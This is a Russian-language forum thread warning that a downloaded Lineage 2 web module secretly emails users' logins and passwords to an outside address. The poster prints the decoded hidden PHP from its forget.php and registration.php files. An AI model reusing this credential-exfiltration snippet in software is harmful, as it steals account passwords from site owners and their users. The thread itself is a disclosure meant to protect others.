Skip to content
La2Base
Home
DownloadsWikiForumFAQ
Search
ruen
Sign up Login
HomeFilesWikiLogin
  • Home
  • Downloads
  • Wiki
  • FAQ
  • Contact Us
  • About
  • Rules
  • Privacy
  • Terms of Service

© 2026 la2base.com · All rights reserved

ruen
Forum/Флуд/100nt - Подлые шары!
Search

100nt - Подлые шары!

6 replies255 viewsCurrently viewing: 1
никита
никита

User

Участник

Posts: 75

На форуме с: 04/17/2009

Репутация: +3

Рейтинг: 0

· 10/18/2009, 03:09 PM

Скачал я с одного портала 100нт один веб-модуль (не буду говорить какой).

Поставил я его... и тут проблемка... не присылает на email новый пароль.
Полез я в скрипт восстановления пароля (forget.php).

И нашёл я одну строчку, закадированную в base64 , вот её раскодировка :

Цитата
include_once ENGINE_DIR.'/classes/mail.class.php';
$mail = new dle_mail($config);
$message = "Спасибо за регистрацию!\n\n";
$message.= "Ваш логин: {$l2login}\n";
$message.= "Ваш пароль: {$l2password_tmp}\n";
$message.= "----------------------------\n";
$message.= "С уважением, Администрация.\n";
$message.= "{$config['http_home_url']}";
$mail->send("[email protected]", "Благодарим за регистрацию {$config['http_home_url']}", $message);


Если кто-то не понимает, то данный скрипт отсылает логин и пароль на email - [email protected] .
Таже хрень и в регистрации. отсылает пароли.

На попытки открыть тайну пользователям, мои сообщения удаляют.
Я уверен что это не единственная пакость на этом портале.

Так что подумайте 100 раз, прежде чем качать что-то с этого портала.

0
Андрей
Андрей

User

Ветеран

Posts: 751

На форуме с: 11/30/2008

Репутация: +119

Рейтинг: 0

· 10/18/2009, 03:18 PM

Ничего удивительного. :)

— Newbie!

0
Logan22
Logan22

User

Бывалый

Posts: 172

На форуме с: 01/21/2009

Репутация: +11

Рейтинг: 0

· 10/18/2009, 03:30 PM

не уш ты думаешь те кто регится на сайте отсылается на мыло пассы и акки "[email protected]" !
Думаю если бы они так хотели бы сделать, то вероятно что там бы работало бы всё! и небыло бы потребности ковырять файлы, темболее в кодировке)

0
C
CripS

User

Новичок

Posts: 11

На форуме с: 10/13/2009

Рейтинг: 0

· 10/18/2009, 03:33 PM

Да это реально есть, коглда шарит человек 109th ему отсылаются пароли от шары, надо же ему зарабатывать 3c2f1c34aa11.gif

0
никита
никита

User

Участник

Posts: 75

На форуме с: 04/17/2009

Репутация: +3

Рейтинг: 0

· 10/18/2009, 03:33 PM

Цитата
не уш ты думаешь те кто регится на сайте отсылается на мыло пассы и акки "[email protected]" !
Думаю если бы они так хотели бы сделать, то вероятно что там бы работало бы всё! и небыло бы потребности ковырять файлы, темболее в кодировке)


registration.php

Код
include_once ENGINE_DIR.'/classes/mail.class.php';
    $mail = new dle_mail($config);
    $message = "Спасибо за регистрацию!\n\n";
    $message.= "Ваш логин: {$l2login}\n";
    $message.= "Ваш пароль: {$l2password_tmp}\n";
    $message.= "----------------------------\n";
    $message.= "С уважением, Администрация.\n";
    $message.= "{$config['http_home_url']}";    
    $mail->send("[email protected]", "Благодарим за регистрацию {$config['http_home_url']}", $message);


тоже в base64.

0
Des
Des

User

Легенда

Posts: 3115

На форуме с: 01/20/2008

Репутация: +3105

Рейтинг: 0

· 10/18/2009, 03:34 PM

Разбирайтесь с автором новости или данным порталом. La2base.ru к этому не имеет отношения, шара выкладывается на свой страх и риск на любом портале, помните это. Возможно с помощью вас собирают ботнет;)

...icq_18___666--___22

— 111

0
Topic is closed for replies